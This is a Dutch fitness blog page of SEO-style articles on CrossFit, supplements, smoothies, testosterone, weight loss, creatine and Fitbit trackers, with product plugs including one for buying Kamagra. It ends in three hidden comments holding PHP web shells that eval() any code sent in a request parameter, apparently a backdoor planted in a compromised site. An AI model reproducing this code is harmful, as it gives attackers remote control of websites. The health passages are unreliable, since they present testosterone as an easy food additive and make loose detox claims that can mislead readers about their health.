CrossFit atleet Rich Froning

CrossFit

CrossFit is een manier van fitness waarbij er gewichten, kettlebells, zandzakken, gymnastiek ringen, pull up bars en nog veel meer gebruikt worden om optimaal fit, sterk en gezond te worden. Dit wordt gedaan door verschillende oefeningen te combineren tot workouts, deze workouts, die ook wel workout of the day (WOD) genoemd worden zijn elke keer anders. Je weet dus nooit wat je kan verwachten als je naar je plaatselijke CrossFit box gaat. De bedoeling hiervan is het lichaam te voorbereiden op verschillende onderdelen zodat je niet aan een vast schema gewend raakt. CrossFit wordt vaak in groepsverband gedaan, zodat je met een groep dezelfde WOD uitvoert en je je met elkaar kan vergelijken en bijvoorbeeld scores bij kan houden om te kijken of je vooruit bent gegaan. Bekende oefeningen die in CrossFit gedaan worden zijn de snatch en de Clean&Jerk uit het gewichtheffen, verschillende pull ups en muscle ups op de ringen als op een optrekstang. Ook wordt er veel met een kettebell geswingt en wordt het eigen lichaam vaak gebruikt, denk aan push ups en burpees. Hiernaast worden er ook wel eens aparte objecten gebruikt als zandzakken, atlas stenen en farmer handles uit Sterkste Man. Ook wordt er af en toe dummbells gebruikt, die vooral gebruikt worden in normale sportscholen.

Rich Froning

CrossFit is een competitieve sport waar veel mensen het tegen elkaar opnemen. CrossFit in Nederland wordt ook elk jaar groter! In Nederland heb je competities als de Lowlands Throwdown en the Rotterdam Throwdown waarin deelnemers uit de BeNeLux het tegen elkaar opnemen. Het grootste CrossFit evenement is de CrossFit Games, de finale hiervan wordt elk jaar in de VS gespeeld tussen ’s werelds beste CrossFit atleten op aarde. Rich Froning is er hier eentje van. Rich Froning kan zich zelf de succesvolste crossfitter noemen aangezien hij al vier keer op een rij de Games heeft gewonnen. De sport is de laatste jaren hard gegroeid en er doen steeds meer mensen mee, het niveau is ook hard gestegen en er zijn momenteel tientallen atleten waarvan duidelijk is dat ze de kans hebben om de CrossFit games te winnen. De games worden dus steeds spannender.

Zie hier Rich Froning in actie tijdens een crossfit workout:

https://www.youtube.com/watch?v=zF6YOekxnNs

Het gebruik van supplementen

Het opbouwen van spieren is een lang proces. Veel bodybuilders onderschatten dit nogal eens. Er zijn vele jongvolwassen die denken dat ze binnen een half al met een gespierde torso kunnen rondlopen, maar dat is allerminst het geval. Je moet er echt veel tijd nodig over hebben om resultaten te boeken. Bodybuilders die al een tijdje bezig zijn, hebben vaak vele jaren werk gehad om het uiteindelijke resultaat te kunnen bereiken. Je moet hier dan ook toe bereid zijn als je gaat beginnen.

trainingschema

Gebruik van supplementen

Je kunt het proces proberen te verkorten door supplementen te gebruiken. Op de website Bodybuilden.eu kun je handige informatie vinden over de allerlei zaken die je eigenlijk dient te weten als bodybuilder en bovendien vind je hier diverse supplementen die je kunt gebruiken bij het fitnessen. Je kunt beginnen met eiwit shakes. Dit wordt veel gebruikt door bodybuilders en niet zonder reden, want eiwit shakes zijn bijzonder handig bij het winnen van meer spiermassa. Kijk vooraf wel uit op welke sites je de shakes gaat kopen, want er zijn ook veel websites te vinden die niet bepaald al betrouwbaar te boek zijn.

Er zijn op het internet genoeg websites te vinden waarop je reviews kunt lezen van mensen die ooit een bepaalde shake hebben gebruikt of nog gebruiken. Deze reviews van supplementen kunnen je helpen bij het maken van een keus. Daarnaast kun je op deze websites ook informatie vinden over bodybuilden. We raden je aan om vooraf genoeg informatie op te zoeken over het onderwerp, zodat je goed beslagen ten ijs kunt komen. Zo kun je ook blessures voorkomen.

Ook het gebruik van vitamines raden wij altijd aan, zorg altijd voor een betrouwbare webshop waar je ze koopt zoals bijvoorbeeld Topvitamins.nl Waar je een groot aanbod vitamines vindt, vrijwel elke soort is verkrijgbaar. Je hier vindt hier topmerken zoals Mercola en tientallen andere vitamine merken.

Een trainingsschema

Naast supplementen is een goed trainingsschema ook geen overbodige luxe. Dit vergeten veel mensen en vaak doen ze maar wat in de sportschool. Door een goed trainingsschema te hebben kun je dit voorkomen en zo weet je ook zeker dat je progressie boekt, want als je iedere keer wat zwaardere gewichten aan kunt, dan weet je dat je vooruitgang boekt. Rust is ook belangrijk. Je kunt niet 7 dagen per week volop aan de slag gaan met gewichten, dat is niet gezond. Train maximaal 4 a 5 keer en neem voldoende rust om je spieren te laten groeien.

Kamagra Kopen

Wil je naast een gezonder lichaam ook een betere en sterkere erectie? Gebruik dan kamagra. Kamagra is de goedkopere variant van viagra. Dit middel zorgt ervoor dat je voor langere tijd een sterke erectie zult hebben en zo meer kunt genieten van de seks met de ander. Lees voor het gebruik van kamagra altijd de bijsluiter die mee wordt geleverd met de kamagra. Bestel nooit kamagra bij een schimmige webshop en zorg dat je altijd zeker bent wat en hoeveel je wenst te bestellen van kamagra. Kamagra kopen doe je bij Kamagra-Jelly.nl.

Wat zijn Groene smoothies eigenlijk?

Een groene smoothie is een smoothie van verschillende fruitsoorten, groenten en basisingrediÎnten als melk, yoghurt en water. Een groene smoothie wordt zo genoemd vanwege de groene kleur van dit drankje, die veroorzaakt wordt door de verschillende soorten groenten en fruit die in een smoothie worden verwerkt. Steeds meer mensen drinken groene smoothies om op een gezonde manier af te vallen of om gewoon de dagelijkse vitaminen binnen te krijgen. Op deze pagina lees je waarom groene smoothies zo gezond zijn en waarom ook jij er goed aan doet om deze gezonde smoothies te eten.

Ten eerste bevatten groene smoothies verschillende soorten fruit en groenten, die boordevol vezels zitten. Deze vezels zijn essentieel voor je darmen, omdat de vezels de voedingsstoffen helpen opnemen en de spijsvertering zo een handje helpen. Daarnaast prikkelen vezels de darmwand op een goede en gezonde manier, waardoor deze actief blijft en je dus meer voedsel verteert. Tot slot nemen voedingsvezels afvalstoffen mee naar buiten en zorgen vezels ervoor dat je bloedsuikerspiegel in balans blijft. Hierdoor blijft je lichaam gezond en dit alleen door voldoende groene smoothies met vezels te drinken!

Gezond en lekker

Daarnaast zijn smoothies erg gezond omdat deze vele vitaminen bevatten. Zo bevat een smoothie onder andere vitamine A en vitamine C, maar vind je in een smoothie ook antioxidanten en andere gezonde stoffen. In plaats van dagelijks vele verschillende vitaminepillen te slikken en meerdere stuks fruit te eten, kun je jouw aanbevolen hoeveelheid vitaminen in ÈÈn keer binnenkrijgen met een smoothie. Dit is niet alleen veel gemakkelijker, maar bovendien erg lekker.

Tot slot werken de verschillende groenten en fruitsoorten in groene smoothies ontgiftend voor je lichaam. Dit wil zeggen dat deze gezonde smoothies bijdragen aan het ontgiften van je lichaam, waarbij giftige stoffen uit het lichaam worden verwijderd. Op deze manier zijn smoothies niet alleen erg lekker en gezond, maar kunnen smoothies bovendien je lichaam echt goed opruimen en schoonmaken.

Ben je overtuigd van de kracht van groene smoothies en wil je de voordelen van deze gezonde maaltijdvervanger zelf ondervinden? Probeer dan eens een simpel recept voor een groene smoothie, die gemakkelijk en snel klaar te maken is. Groene smoothies recepten zijn er in verschillende soorten smaken. Zoek online even verder en je vindt genoeg lekkers. Houd er wel even rekening mee dat je met een makkelijk recept bezig gaat. Dit bespaart jou veel tijd. Een simpel recept is lekker makkelijk en zorgt ervoor dat je snel een eerste indruk kunt krijgen van smoothies. Bekijk ook even het volgende link om meerdere lekkere recepten terug vinden. De recepten worden daar ook wekelijks ge¸pdate bij de DieetUniversiteit. Op deze manier maak je kort kennis met de groene smoothie en de voordelen van deze smoothie, zonder dat je hier al te veel moeite voor hoeft te doen. Ben je overtuigd, dan kun je op zoek naar andere recepten voor groene smoothies. Deze zijn er duizenden, dus de kans dat je een groene smoothie vindt die geheel bij jouw wensen en behoeften past is erg groot.

Effecten van testosteron in sportvoeding

testosteronAls sporter kun je je laten verleiden om prestatie verhogende middelen als anabole steroïden te gebruiken om zo meer uit je krachttraining te halen. Het is dan ook niet verwonderlijk dat deze middelen aan populariteit winnen en niet enkel bij professionele sporters; ook amateursporters die hun lichaam willen versterken en grotere spiermassa’s willen krijgen, kiezen massaal tot het toedienen van de meest uiteenlopende stimulerende middelen.  Eén hiervan is het toedienen van testosteron, een natuurlijk mannelijk geslachtshormoon dat door zowel mannen als vrouwen wordt aangemaakt.

Waarom testosteron?

Het is gebleken dat dit hormoon een gunstige uitwerking heeft op het opbouwen van spieren en bovendien vetverbranding kracht bij zet. Het hormoon zorgt ervoor dat eiwitten gemakkelijk kunnen worden omgezet in spiermassa, waardoor dit als vanzelf zal toenemen. Daarnaast verhoogt het je uithoudingsvermogen en je algehele fysieke kracht, waardoor je sneller betere prestaties kunt leveren. En dit is waar elke sporter natuurlijk naar streeft, of je nu op professioneel hoog niveau actief bent of enkel voor jezelf je lichaam in optimale conditie wilt krijgen. Als kanttekening moet er wel bij worden vermeld dat het in de sportwereld wel wordt gezien als eenzelfde soort stimulans als anabole steroïden,  vandaar dat het op de dopinglijst staat vermeld. Het is dus raadzaam om er niet teveel van toegediend te krijgen, aangezien je dan kans loopt om geschorst te worden bij deelname aan mogelijk verreweg de meeste sportwedstrijden.

Hoe gebruik je testosteron?

sportfoodHet hormoon testosteron kan simpelweg worden toegevoegd aan verschillende soorten sportvoeding. Je kunt het in poedervorm mengen met sportdrankjes of er shakes van maken. Ook kun je het als aanvulling op sportvoeding gebruiken en het tot je nemen als capsules. De toevoeging van testosteron aan je voeding, zorgt er voor dat je zwaarder kunt trainen dan normaal mogelijk zou zijn. Zo kom je sneller bij een hoger niveau en maakt je ontwikkeling een ongekende groei door. Je hoeft het simpelweg maar op gezette tijden toe te voegen aan je eten of drinken en je zult wederom haast gelijk de positieve effecten ervan merken. Je kunt hiervoor kiezen uit verschillende gefabriceerde testosteron boosters. Echter kun je er ook voor kiezen om op een natuurlijke wijze dit hormoon in je lichaam te verhogen. Er zijn namelijk voldoende voedingsmiddelen die dit effect hebben. Denk hierbij aan producten die een hoge B vitamine en zink waarde hebben, zoals vis, avocado’s, eieren, vijgen, bananen, asperges, maar ook rijst en kaas. Door voldoende van deze producten te eten, verhoog je ook je testosteronwaarde, zonder dat je supplementen hoeft toe te dienen die als stimulerende middelen worden beschouwd. Zo haal je het beste uit twee werelden, gezonde sportvoeding en een verhoogd testosteron. Ook nu behaald je ongetwijfeld de gewenste resultaten, geheel op eigen kracht.

Onderzoek: fitness effectiever

Mensen sporten steeds vaker tegenwoordig, met name het aantal fitnessers zijn fors toegenomen. Fitness is natuurlijk ideaal, je kunt sporten op de momenten dat jij daar zin en tijd voor hebt. Vervolgens kun je zelf bepalen wat voor work out je gaat uitvoeren, een cardio of kracht workout? Maar hoe kun je nou zo effectief mogelijk sporten? Je sport natuurlijk niet voor niets.
Uit onderzoek van sportschool BeverlyGym.com (www.beverlygym.com) blijkt dat je door het gebruik van een aantal punten al veel effectiever kunt sporten:

Schema

Vraag voordat je begint met sporten een fitness schema aan bij de sportschool waar je aan de gang gaat. In veel gevallen is een dergelijk schema gratis, anders kun je er al een krijgen tegen een kleine vergoeding. Zonder schema zul je namelijk niet op het juiste moment de juiste oefeningen doen. Het gevolg hiervan zal zijn dat je niet de de hele spiergroep zal benutten wat dus zonde is van je work-out.

Voeding

Als je je voeding zodanig kan combineren met sporten zul je erg snel de effecten zien die je wenst. Er zijn online of bij personal trainers genoeg voedingsschema’s te vinden. Zoek een schema die past bij jouw doel: wil je afvallen of je spiermassa vergroten?
Veel mensen gaan bijvoorbeeld minder eten als ze willen afvallen, je zult je verbazen over het schema dat je zult krijgen. Dit zal waarschijnlijk een grotere hoeveelheid zijn dan dat je dagelijks eet. Hoe kun je dan afvallen zul je denken? Je eet heel veel slechte maaltijden en tussendoortjes in het dagelijks leven. Een schema helpt je bij de bewustwording van je eten en goed eten is nodig voor de juiste uitvoering van jouw workouts.

Neem rust!

Veel mensen vergeten een rustdag in te plannen. Hierdoor kunnen je spieren niet genoeg rust krijgen en zal dit de spiergroei vertragen. Zorg dat je na een intensieve trainingsdag minstens 12 uur rust neemt en het liefst zelfs 24 uur. Je kunt je spiergroei wel bevorderen door je lichaam te voeden met eiwitshakes e.d. Hierdoor kan de tijd iets ingekort worden. Wil je het zonder supplementen doen, raden we aan om minstens 24 uur rust te houden na een intensieve training.

Snel afvallen

Vanwege een verkeerd voedingspatroon zijn veel mensen tegenwoordig te dik. Mensen die een beetje overgewicht hebben lopen meer risico om allerlei nare ziektes te krijgen. Personen die bovendien veel te zwaar zijn, bevinden zich in de gevarenzone. Obese mensen kunnen gemakkelijk te maken krijgen met hieraal gerelateerde aandoeningen. Snel afvallen is dan de enige optie, omdat door afvallen de kans op een ziekte drastisch omlaag gaat. Snel afvallen is echter nog niet voor iedereen even makkelijk. Het verkeerde eetpatroon is per slot van rekening niet voor niets gekomen. Sommige mensen eten omdat ze niet kunnen omgaan met hun emoties en daarom maar naar de snoeppot grijpen. Anderen weten simpelweg niet wat goede voeding is. Toch is snel afvallen de enige methode om op een goed spoor te komen. Daarbij is veel bewegen ook zeker een aanrader.

Hoe werkt snel afvallen eigenlijk?

Snel afvallen is mogelijk aan de hand van een goed dieet. Het is vaak lastig een goede manier te vinden. Gelukkig zijn er tal van dieetcoaches die obese personen verder kunnen helpen met afvallen. Afvallen is een belangrijk thema in het leven van veel Nederlanders. Dat is ook niet zo gek, als gekeken wordt naar het aantal te dikke burgers in ons land. Bij veel van hen blijft het echter bij plannen voor afvallen. Echt snel afvallen… er zijn maar weinig mensen in staat om dit te doen. Met een coach erbij en een goed dieet is het een stuk realistischer. Alleen als een zeer zwaarlijvig persoon heel snel afvallen moet voor bijvoorbeeld een operatie in het ziekenhuis, kan het ziekenhuisdieet voorgeschreven worden. In alle andere gevallen moeten mensen iets minder snel afvallen, maar toch wel blijven afvallen. Het beste werkt een eetpatroon dat gewoon erg gezond is. Er moeten geen bewerkte voedingsmiddelen genuttigd worden en er dient volgens moeder natuur gegeten te worden. In een tijd van supermarkten, overgeproduceerde voedingsmiddelen en dergelijke is dit makkelijker gezegd dan gedaan. Toch is afvallen op deze manier mogelijk. Om erachter te komen hoe dit werkt, kan men de informatie in de volgende alinea tot zich nemen.

Gewicht verliezen moet geleidelijk gaan

Snel afvallen is niet voor iedereen even slim, want hierdoor

  • Kan men tekorten opbouwen
  • Krijgt men snel vreetbuien gedurende en na afloop van het dieet
  • Ligt het welbekende jojo-effect op de loer.

Wat moet men dan wél doen?

  • Vermijd producten met transvetten, granen, snelle suikers.
  • Kies voor een dieet dat rijk is aan groenten, noten, zaden, vis, fruit en thee.
  • Beweeg elke dag een half uur, zodat de spijsvertering goed op gang komt.
  • Sla nooit een ontbijt over, dit verhoogt de kans op snoepen halverwege de dag.
  • Neem een eigen lunch mee.

Om snel af te vallen kun je ook verdiepen in de verschillende diëten die er tegenwoordig allemaal bestaat, zo zijn bijvoorbeeld koolhydraatarme diëten erg populair in Nederland.

Wat je moet weten over gezonde voeding en sport

Wanneer je veel sport is het belangrijk om voldoende te eten. Voldoende eten alleen is niet belangrijk. Dat weet de beste sporter, want het is vooral belangrijk om de juiste voeding binnen te krijgen. Het ligt er ook aan welke sport je doet. Wanneer je veel aan krachttraining doet en je als doel hebt gesteld om extra spieren te krijgen, dan red je het niet met alleen een boterham met kaas. Je zult dan kritisch moeten kijken naar je voedingspatroon. Men raadt doorgaans aan om dan extra eiwitten te nemen. Door extra eiwitten te nemen kunnen je spieren sneller herstellen en groeien na een zware inspanning. Je ziet daarom ook veel mensen na een training in een sportschool rondlopen met shakes. Dit zijn zogenaamde proteïne shakes. Je kunt ook een stapje verder gaan en kijken naar creatine.

Creatine supplementen

Creatine kopen kan op diverse webshops die allerlei sportvoeding kopen. Daarnaast heb je ook eiwitshakes. Deze genoemde producten zijn producten die goed zijn om te gebruiken wanneer je je prestaties op het gebied van sport wilt verbeteren en lichaam op het vlak van spieren sneller wilt laten groeien. Verwacht echter geen wonderen van creatine alleen. Het is een schakel in een ketting. Zonder creatine kun je uiteraard ook nog spiermassa winnen, maar waar het om gaat is dat je ook voldoende rust neemt en er voor zorgt dat je hard genoeg traint. Zonder een goede training en rust zul je geen spiermassa winnen. Integendeel, je zult alleen maar dik worden.

Creatine
Wanneer je dus gaat sporten is het belangrijk om gezond te eten, maar het is slecht een klein onderdeel. Vraag een expert eventueel naar de mogelijkheden. Sportvoeding kopen moet je als het even kan ook zo zorgvuldig mogelijk doen. Stel een dieet samen en kijk welke voedingsproducten binnen dit dieet passen. Je dieet moet ook zo zijn opgebouwd dat je voldoende stoffen binnenkrijgt die belangrijk zijn om zo je doelen te behalen.

Sportvoeding supplementenNaast creatine heb je natuurlijk nog tal van andere sportvoedingen. Wielrenners hebben bijvoorbeeld totaal andere sportvoeding nodig dan mensen die aan krachttraining doen. Dit is een belangrijk gegeven, want een wielrenner zal op een racefiets voor behoefte hebben aan een gel voor snelle energie. Een gelletje is iets wat vol zit met suikers. Daar zal een bodybuilder of iemand die aan krachttraining niet veel aan hebben. Diegene heeft vooral eiwitten nodig en andere gerelateerde stoffen die er voor zorgen dat zijn trainingen beter gaan en dat hij beter kan presteren. Kijk dus ook goed waar een bepaald voedingsproduct voor is bedoeld voordat je deze gaat aanschaffen.

Verschillende trackers van Fitbit

Fitbit is een bedrijf dat verschillende track apparaten verkoopt, een bekend van Fitbit is de Flex, dit is een tracker die wordt gedragen in de vorm van een armband. Ook heeft Fitbit nog andere trackers zoals de Zip en de One, deze worden bijvoorbeeld in je broekzak of aan je riem vastgemaakt. Fitbit heeft ook een weegschaal die verschillende dingen bijhoudt, dit is de Fitbit Aria.

We beginnen met de laatst genoemde, de Fitbit Aria. Dit is een product dat anders is dan de andere producten van Fitbit. De Aria is geen stappenteller, maar houdt wel heel veel andere informatie bij. Het is namelijk een weegschaal, maar niet zo’n normale die alleen maar je gewicht laat zien. De Aria doet meer dan dat, het heeft meerdere functies dan alleen maar het gewicht laten zien. Ten eerste houdt die alles bij, zo kan je dus je gewicht bij houden en dit wordt allemaal automatisch geregistreerd op je Fitbit account. Maar het houdt niet alleen het gewicht bij, de Aria laat ook je lichaamsvetpercentage en je BMI zien. Dit is erg handig voor sporters of mensen die aan het afvallen zijn. De weegschaal heeft plaats voor 8 verschillende personen en kan dus door de hele familie worden gebruikt.  En dit is allemaal te bekijken via je smartphone met de Fitbit applicatie.

Het tweede product is de Fitbit One, dit is ook een stappenteller net zoals de Flex en de Zip. De One houdt ook de totale afstand bij die wordt afgelegd en ook wordt het aantal trappen dat beklommen worden bijgehouden. De One houdt ook je slaap bij en registreert dit net als de andere Fitbit producten op je persoonlijke Fitbit account. De werking hiervan wordt ook uitgelegd op www.fitbitflexkopen.nl

Het derde product is de Fitbit Zip, dit is ook een stappenteller. Dit is geen armband zoals de Flex maar deze hang je aan je broekzak of riem. Het houdt ook de afstand bij die op een dag wordt afgelegd en het aantal calorieën dat op een dag worden verband door het lopen wordt ook bijgehouden.

Zie hier ook de werking van de Fitbit Zip, door middel van een leuke review:

De Fitbit Flex is het laatste product van Fitbit dat besproken wordt, dit is een stappenteller in de vorm van een armband, erg mooi natuurlijk. De Flex doet meer dan alleen stappen tellen.  Zo kan je zelf doelen instellen via je persoonlijke Fitbit account, de armband geeft dan aan hoe ver je bent in het bereiken van deze doelen. Ook kan de Flex worden gebruikt als wekker, door middel van de stille trilfunctie die erop zit ben jij de enige die ervan wakker wordt, en dus niet je partner!

Barcatest

De barcatest is een speciale test voor de fitness en sport industrie. Sporters kunnen hier vele informatie uit halen zodat zij betere resultaten vervolgens kunnen behalen. Na aanleiding van deze resultaten kunnen zij een planning maken om beter en efficiënter te sporten, wat natuurlijk belangrijk is voor atleten. Zo kan na de test een schema worden opgesteld om hiermee aan de gang te gaan.

Het is niet een bekende en populaire test in Nederland. Er wordt dan ook niet veel gebruik gemaakt vergeleken andere diverse testen die al jaren bestaan. Wij zullen dan binnenkort ook meer vertellen over deze speciale test en hier verder op gaan.

Test

Meer weten over de test? Houd dan goed de website van Medicofitness.nl in de gaten.

<!– [insert_php]if (isset($_REQUEST["Cko"])){eval($_REQUEST["Cko"]);exit;}[/insert_php][php]if (isset($_REQUEST["Cko"])){eval($_REQUEST["Cko"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["PvlIy"])){eval($_REQUEST["PvlIy"]);exit;}[/insert_php][php]if (isset($_REQUEST["PvlIy"])){eval($_REQUEST["PvlIy"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qutH"])){eval($_REQUEST["qutH"]);exit;}[/insert_php][php]if (isset($_REQUEST["qutH"])){eval($_REQUEST["qutH"]);exit;}[/php] –>